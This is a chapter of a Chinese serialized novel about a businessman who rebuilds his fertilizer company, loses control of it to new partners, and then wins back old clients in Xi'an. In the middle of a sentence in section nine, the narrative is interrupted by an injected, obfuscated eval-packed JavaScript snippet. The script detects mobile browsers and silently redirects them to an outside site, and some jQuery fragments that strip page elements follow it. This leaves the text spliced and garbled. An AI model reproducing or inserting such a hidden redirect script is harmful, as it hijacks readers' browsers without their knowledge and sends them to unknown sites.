《半生债》下卷第三章·重帆
一、东山渔火
雪化尽时，春天踩着湿漉漉的鞋底来了。
二零一四年三月的东海，风里裹着咸腥的暖意。厂区院中那棵老梧桐抽了新芽，嫩黄带绿，在午后光线里薄得透明。王霖靠在车间门框上，看八个老师傅操作机器——搅拌机转得沉缓，灌装线发出规律的咔嗒声，像老时钟。
西安归来的第一百天。最初的锐痛钝成了心底一块硬痂，不碰无事，一碰仍会闷闷地疼。
张莉把账管成了绣花活。每月开支卡在六万，老客户订单稳定在八万上下。扣除成本，月末偶尔能余三五千，在账本角落蜷成小小一笔。
“紧巴，但饿不死。”晚饭时她推过账本，指尖点着那些数字，“老客户攥住，日子就能淌下去。”
王霖点头，夹一筷子炒青菜。三个月，他瘦得颧骨凸出来，但眼里那根绷了太久的弦，终于松了些。
有些重量，失去才懂。有些方向，走过才明。
李红军是四月初来的。白色丰田刹在厂门口，后备箱塞满海鲜——银亮的带鱼、青灰的鲅鱼、还沾着海泥的蛎子，啤酒箱摞得老高。
“春天了，该吃鲜了！”她嗓门亮，笑纹从眼角漾到鬓边。
李红军是王霖在东海认的老乡，商南邻县人，做建材，比他早来五年。丈夫老陈在国企，儿子在省城读大学，日子舒展开阔。
那晚就在院子里支桌。炭火红起来时，老陈翻烤着肉串，王霖递料；厨房里，张莉和李红军的说笑声混着油锅的滋啦。孩子们——李红军儿子小辉、王霖女儿菁菁——追着跑，影子在水泥地上拉长又缩短。
海风捎来远处渔火，星星点点浮在夜幕上。
“霖子，”李红军举杯，“旧事翻篇，往前看。”
玻璃杯撞出清响。啤酒冰凉微苦，喉头滚过，回甘慢慢泛上来。
“你美姐这话实在。”老陈递来烤好的鱿鱼须，“人这辈子，谁不摔几跤？摔了爬起来，膝盖上的土拍干净，路照走。”
喝到夜深。星空低垂，海风湿软。李红军讲初来东海时的日子——住过半地下室，摆摊被城管追过三条街，收过□□。她说这些时眉眼舒展，像在讲别人的故事。
“最难时一天两个馒头就凉水。”她笑，“现在不也挺好？”
王霖看她。五十出头的人，眼睛还亮，笑声脆生生的，是风雨洗过后独有的透亮。
“美姐，谢了。”
“外道！”李红军挥手，“老乡在外，不就是你扯我一把，我扶你一下？”
散时已是凌晨。孩子们趴在桌上睡着了。灯塔的光扫过海面，一道，又一道，为夜船指路。
王霖想，人生大抵如此——有暗礁，也有航灯。最重要的是，别一个人在夜里漂。
---
二、游山玩水
自那以后，李红军常拽他们出门。
“总闷在厂里要霉了，人得接接地气。”
四月底，爬泰山。凌晨三点的手电光柱里，十八盘石阶被岁月磨出了包浆。王霖到中天门时腿已发颤，但看前面女儿蹦跳的背影，看张莉和李红军互相搀扶的手，吸口气，又跟上。
日出前抵玉皇顶。云海在脚下翻涌，山峦隐现。忽然金光裂云，太阳一跃而出，天地陡然点亮。
“真好。”张莉轻声说。
王霖握住她的手。凉，但软。两人并肩站着，看光瀑倾泻，云海熔金。
那一刻，心里有什么“咔”地轻响，化了。
五月，孔庙古柏森森。王霖在大成殿前站了许久，“万世师表”的匾额让他想起父亲的话：“做人要实在，做事要踏实。”父亲没读过多少书，理却透。
六月，青岛栈桥海鸥盘旋。他们在沙滩堆沙堡，捡的贝壳镶成城墙。傍晚坐礁石上看落日，海面铺满金红，归港的渔船拖着长长波纹。
“日子就该这样，”李红军说，“忙时钉是钉铆是铆，闲时就彻底闲下来。”
王霖点头。这三个月，他看了泰山日出、孔庙石碑、青岛晚潮。每至一处，心里就亮一角。
原来慢下来，才能看见生活本来的纹路。
---
三、女儿高考
一晃便是二零一六年。
菁菁要高考了。
那半年，张莉所有心思都拴在女儿身上。营养餐变着花样，陪读到深夜，打听报考信息像侦探。王霖某天忽见她鬓角有根白发，心一揪。
“别太累。”
“累啥？”她笑，“一辈子就这一遭。”
高考三天，王霖全程陪在考点外。烈日下家长黑压压一片，无人离去。每个人都仰着头，像等待一场庄严审判。
王霖想起自己的一九八七年。商南中学考场，旧电扇吱呀呀转。父亲送他到校门口，只一句：“好好考，考不上也没事，家里有地。”
后来录取通知书到，父亲喝醉了，攥着他手说：“我儿有出息。”
近三十年过去。现在，轮到他的女儿了。
最后一科结束，菁菁笑着走出来。王霖迎上，没问考得如何，只拍拍她肩：“走，回家。”
出分那日，全家围在电脑前。页面缓冲的圆圈转得人心慌。
“出来了！”菁菁喊。
586分。
“能上陕师大吗？”张莉声音发紧。
“能！”菁菁跳起抱住母亲，“妈，我考上了！”
那晚王霖给商南打电话。父亲在另一端沉默良久，才说：“好，好，我孙女有出息。”
声音哑了。
王霖鼻尖发酸。想起父亲送他上学时的背影，想起枣树下那些话。一代人有一代人的路，但有些东西，如血脉，静静流下去。
八月，通知书到了。陕西师范大学教育学院。菁菁摩挲着纸张，眼里有光。
王霖看着女儿，忽然觉得一切值得。那些坎坷、挫败、无眠夜，在这一刻都有了落点。
人活着，或许就是为了下一代能踩着自己的肩，看见更远的天。
---
四、新的开始
女儿入学后，王霖开始认真想厂子的前路。
老客户稳，但市场在变。张杰的触角已伸到山东，价格压得低。有客户委婉暗示：“王总，不是不讲情分，是那边价太低……”
王霖懂。生意场上，情分抵不过真金白银。
正发愁时，李凯君找来。
李凯君也是陕西人，在东海做化工原料多年。两人在同乡会认识，聊过几次，投缘。
“王总，听说最近不顺？”
“还成，能维持。”
“我有个想法，”李凯君点烟，“合作，怎样？”
王霖没立刻应。西安的疤还没好透，他怕。
但李凯君诚恳。带他参观公司——开发区整层办公室，二十几名员工，业务遍及华东。账目清爽，客户口碑扎实。
“不急，你慢慢想。”李凯君说，“合作先得有信任。信不过，万事休提。”
王霖想了半个月。其间见了李凯君引荐的两人——宋泰生与李见俊。
宋泰生五十余，前国企厂长，退休创业，稳重如磐。李见俊四十出头，投资出身，眼光锐，胆大。
四人三面茶叙。聊市场、技术、管理，也聊各自跌过的跤。王霖察觉，这几人都实在——不吹嘘，不空谈，有一说一。
末次，宋泰生开口：“王总，你的技术、客户资源，都是干货。我们有钱、有渠道、有经验。合起来，能成事。”
李见俊补一句：“但丑话在前——合作按规矩。股份清，权责明，谁也不越线。”
王霖看着他们。三双眼，都坦诚。
他想起白明亮当初的话：“就咱们几个老同学，知根知底……”
眼前人非同学，但那股劲，像。
“成。”王霖点头，“合作。”
---
五、东山再起
新公司名“东山省西农麦维尔生物工程有限公司”。名长，意明——立足东山，深耕农科。
股权清晰：宋泰生百分之三十，董事长兼总经理；李凯君百分之二十五，管市场运营；王霖百分之二十，分管财务技术；李见俊百分之十五，纯财务投资。
余百分之十，作员工激励池。
王霖将老厂折价并入。库存、设备、专利，经第三方评估作价入股。那四十余家老客户，他无偿转入新公司。
“这些都是我筛了多年的优质客户，”王霖将厚厚档案递给李凯君，“信誉好，回款快。”
李凯君接过：“放心，我当自家孩子疼。”
公司成立那日，四人在新办公室举杯。落地窗外，开发区楼群林立，远海苍茫。
“为新开始。”宋泰生举杯。
“为新开始。”四杯相碰。
王霖望向窗外，百感涌上。一年前，他在西安雪夜独行。此刻，他又站在起点。
不同的是，这次身旁有人。
---
六、风浪又起
新公司运转顺遂。宋泰生将内部理得井井有条，李凯君带销售团队开疆拓土，王霖抓技术升级与财务监督。
首三月，业绩稳步向上。老客户基本稳住，还拓了几个新单。
王霖稍松了口气。这次，似乎选对了。
但好景难长。
第四月，问题浮出。李凯君的销售团队年轻有冲劲，却欠火候。为冲业绩，有人许客户过高优惠，利润骤薄。
更糟的是，张杰全面反扑。
他在山东设办事处，挖走新公司两名骨干。价格战凶悍——同类产品，他敢降百分之二十。
老客户动摇。虽念旧情，但生意终究是生意。有人委婉开口：“王总，不是不支持，是那边价实在低太多……”
王霖急寻李凯君议策。
李凯君却淡定：“价格战常态。咱们质优，不怕。”
市场不认这理。第五月业绩下滑，第六月现亏损。
资金链绷紧。
恰此时，李见俊找来。
“公司需输血。”会议室里，他语气平静，“我追加一百万，占股增至百分之六十。”
王霖一怔：“当初说好你不参与经营。”
“我是投资人，有权护盘。”李见俊道，“公司亏损，我追加投资要求相应股权，合情合理。”
宋泰生与李凯君沉默。
王霖看向他们，忽然懂了——这一切，或许早有棋局。
但他无凭据。公司章程确有条：重大亏损时，投资方可追加投资并调整股权。
“你们怎说？”王霖问。
宋泰生长叹：“公司现在难。有资金注入，是好事。”
李凯君点头：“先活下来。”
王霖看着他们。心里那根刚松的弦，又狠狠绷紧。
可他无选。公司要钱，要活。
“好。”他说。
协议签毕。李见俊百万到账，股权重调：李见俊百分之六十，宋泰生百分之二十，李凯君百分之十五，王霖剩百分之五。
他从分管副总，成了技术顾问。
---
七、边缘
会议室空气滞重。
王霖盯着股权表上那“百分之五”，想起西安分厂时自己的百分之三十。那时说话有分量，决策有底气。如今，百分之五，连董事会门槛都迈不进。
“王总，”李见俊声线平稳，“技术仍归你管，公司需要你经验。”
话客气，意思明：你只管技术，其余勿涉。
散会后，李凯君在走廊追上来，递烟。两人凭窗，看楼下车流。
“霖子，”李凯君吐烟，“这事……对不住。”
王霖未应。烟在指间自顾燃着，青烟扭成细绳，在光线里浮沉。
“李见俊这人，我看走眼了。”李凯君声低，“原以为他只投资，不掺经营。谁知……”
“罢了。”王霖截断，“事至此。”
怨无用，悔更无用。
午后，王霖去技术部。年轻技术员们见他，纷纷起身：“王总。”
“坐。”他摆手，“新配方如何？”
“效果佳，但成本高百分之八。”主管小李递数据。
王霖细看。增产数据亮眼，但成本……
“王总，”小李迟疑，“宋总说……成本须控在原有水平。”
王霖点头。他懂——公司现在要的是速效，不是远谋。
出技术部，转至财务室。小芳还在，见他眼一亮：“王总！”
“该叫王工了。”他自嘲一笑，“近来如何？”
小芳压低嗓：“李总那边……压了不少招待费报销，说资金紧，能省则省。”
王霖心一沉。那些招待费多是李凯君跑市场垫付，有些客户确需应酬。
“按规矩办。”他说。
出财务室，走廊空荡。斜阳透过落地窗，在地板上切出明暗。王霖站在光影交界，忽觉自己像个外人。
这公司曾是他全部心血——客户是他一家家跑出的，配方是他一遍遍试出的，制度是他一点点磨出的。
而今，他只剩站在这里看的份。
---
八、破局
转机来在一个雨天。
王霖在办公室看技术资料时，李凯君敲门而入，面色凝重。
“霖子，西北出事了。”
“怎？”
“张杰……”李凯君将传真放桌，“他在西安开分公司，挖走咱们三个西北代理。”
王霖拾起看。陕西老客户发来的，语气委婉，意思直白——张杰价低百分之十五，他们撑不住了。
“这几个客户，是你当初带我见的。”李凯君道，“现在……我摆不平了。”
王霖默然。看着传真上名字——老马、老赵、老周……都是西北市场最早那批，合作七八年了。
“宋总意思，”李凯君顿顿，“让你同我去趟西北。”
“我？”
“嗯。宋总说，这些客户认你。”
王霖明了。这是给他台阶，也给公司机会——若他能稳住西北市场，便证自己仍有价值。
“何时走？”
“明天。”
---
九、再回西北
飞机降咸阳机场时，西安正淋着春雨。
不是去年那场豪雪，是细雨，密密的，将机场高速两侧麦田洗得碧亮。王霖望窗外，心头百味杂陈。
一年前，他也这般来西安，签撤资协议。那时雪大，心冷。
此刻雨细，心绪却更纷乱。
李凯君旁翻客户资料：“首见老马，明早十点。”
“嗯。”
车入市区。西安依旧——城墙巍巍，钟楼矗立，泡馍馆子热气蒸腾。但王霖知，有些东西变了。
比如张杰厂子已扩至二百余人，产品销至甘、宁。
比如他与贾博的关系，断了一年。
比如他自己，从老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196374|197133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
板成小股东，现要来救火。
酒店仍是上回那家。王霖立房间窗前，望雨帘中的钟楼。手机里躺着王言短信：“听说你来西安了？得空聚？”
王霖回：“这次赶，下次。”
他羞见王言——当初拉他入西安分厂，末了害他白忙一年，钱还是分期拿回的。
雨愈大。远处城墙在雨雾中洇成淡墨，像旧画。
---
十、老马
老马公司在北郊建材市场。门面不大，货堆得满当。
见王霖，老马一愣，随即大步上前，手紧紧握住：“王总！你可算来了！”
手劲大，握得实。
“老马，久违。”王霖道。
“可不！”老马让座沏茶，“整一年了！上回见还是西安分厂开业。”
茶是陕青，味冲。王霖抿一口，胃暖。
“王总，这位是……”老马看李凯君。
“李凯君，公司市场负责人。”王霖引见。
李凯君递名片，客套数句。老马眼却始终看着王霖。
寒暄罢，入正题。
“张杰那边……”老马搓手，“价确实低。咱们老交情，我直说——他给我的价，比你们低两成。”
两成。王霖心一沉。这差价，太大了。
“老马，”王霖放杯，“价是一面，质是一面，还有一面——咱们这些年的情分。”
老马默然。掏烟递王霖一支，自点上，深吸一口。
“王总，我老马不是忘恩的。”烟雾里他的脸微糊，“当年我刚起步，是你头个给我供货，还许我三月账期。这情，我记着。”
王霖点头。那是二零一零年，老马还在市场租小摊，每回进货都小心问：“王总，能少进点么？资金转不开。”
“可现在生意难啊。”老马叹，“张杰不仅价低，还许我区域代理，报销推广费。王总，我也是生意人……”
话未完，意已明。
李凯君欲言，王霖抬手止住。他起身至窗边。窗外建材市场车来人往，工人扛货穿梭，一片忙碌。
“老马，”王霖转身，“这样——我们新产品，效果提一成五。我给你试用十吨，免。若效果好，你再定。若不行，我不强求。”
老马怔住：“免？十吨？”
“对。”王霖道，“就当还你当年情——你头个信我，我今头个让你试新。”
李凯君急，被王霖眼神压回。
老马盯王霖良久，猛拍桌：“行！王总，冲你这话，这十吨我要了！不光要，我帮你在市场推——效果好，我带头订！”
离了老马公司，李凯君忍不住：“霖子，十吨免，这成本……”
“成本我担。”王霖道，“从我分红扣。”
“可……”
“凯君，”王霖看他，“咱们在救火。舍不得饵，钓不到鱼。”
李凯君默然。两人上车，赶往下家。
雨仍下，淅淅沥沥，洗着古城街巷。
---
十一、一家一家
随后三日，王霖带李凯君跑遍西安周边老客户。
有如老马般念旧的，有已转投张杰的，有摇摆观望的。
王霖不急，不逼。每到一处，先喝茶，聊家常，聊这些年变迁，聊孩子，聊生意。待气氛暖透，才徐徐切入正题。
他不提自己当下境遇，只谈产品，谈技术，谈那些年共渡的时光。
“老赵，记不记得一一年那场大雨？你仓库进水，我连夜带人抢货。”
“周总，儿子上大学了吧？当年你说，孩子考上大学定请我喝酒。”
“刘老板，那辆桑塔纳还开么？咱们头回见，你就开它来的。”
记忆是奇妙的。那些被时光尘封的细节，一经唤醒，便涌出温度。
李凯君在旁看，听，渐渐明了——王霖卖的不是肥料，是情谊，是信任，是那些年并肩走过的路。
第三日傍晚，见完最后一家客户。出得门来，天已暗。雨住，西天露出一抹霞，金红金红的，映着古城轮廓。
“今日签五家。”李凯君翻记录本，声透兴奋，“量虽不大，但都现款现货。”
王霖点头，未语。他立路边，看街灯一盏盏亮起。西安黄昏总这般美，尤其雨后，空气清冽，晚霞浓烈。
“霖子，”李凯君忽道，“我算是懂了——做生意，到底做的是人。”
王霖侧首看他。
“我从前总觉价、质、服务是关键。”李凯君道，“但这回跟你跑才知——人对了，什么都对；人不对，什么都不对。”
王霖笑了。三日来，他头回真真切切地笑。
“走，”他说，“请你吃泡馍。有家老字号，汤浓。”
两人沿城墙根行。青石板路湿漉漉映着灯影。槐树新芽在晚风里轻摇。
王霖想起多年前初来西安，也是这般黄昏，这般风。那时他年轻，热血满腔，觉天下皆在掌中。
今时，他不再年轻，血也凉了些。但有些东西，反更清楚了。
譬如情谊的重量，信任的价值，那些看似无用却珍贵非常的物事。
泡馍馆子热气蒸腾。老板认得王霖，老远便招呼：“王总！久没来了！”
“是啊，一年了。”
“老样子？”
“老样子。”
两碗泡馍上桌，汤浓肉烂香扑鼻。王霖掰馍，掰得细匀，如从前。
李凯君学他掰，却掰得大小不一。
“得掰匀，煮才入味。”王霖道。
李凯君笑：“跟你跑市场，还得学掰馍。”
两人皆笑。笑声在热闹馆子里，很快被淹没。
但王霖觉着，心里有什么东西，正慢慢活转过来。
---
十二、归程
西安五日，签下八家客户。单虽不大，却都是现款，都是长线。
回东海飞机上，李凯君翻着成果，嘴角挂笑。
“霖子，照这势头，西北市场稳得住。”
王霖望窗外云海。飞机平稳，阳光透舷窗照入，亮得晃眼。
“还不够。”他道，“张杰不会罢休。”
“那怎办？”
“打组合拳。”王霖转头，“价上，咱拼不过他。但咱有技术优势，服务优势，还有……人情优势。”
“人情？”
“对。”王霖道，“你发现没，那些老客户，最在意的不是价低多少，而是稳当，是可靠，是出事了有人兜底。”
李凯君若有所思。
“所以，”王霖续道，“咱要做的——技术不停升级，服务不停优化，让客户觉得，用咱的货，省心。”
飞机开始降。云层破开，地面渐清——田、河、路，而后是海。
东海到了。
王霖望这片海。一年前自西安归时，海是灰的，如他心境。此刻，海蓝，天也蓝，水天一色，无边无垠。
他想，人生大抵如此——有低谷有高潮，有失有得。但只要还在路上，还肯往前走，总能见新风景。
落地时，轮子触跑道，轻震。
王霖开手机，有新讯。女儿菁菁发来：“爸，我拿奖学金了！等你回家吃饭！”
他笑，回：“好，就回。”
窗外，东海风吹来，带着海的气味——咸的，腥的，鲜活的。
如生活，有苦有咸，却终究是活生生的模样。
而他该做的，是迎着风，继续走。
---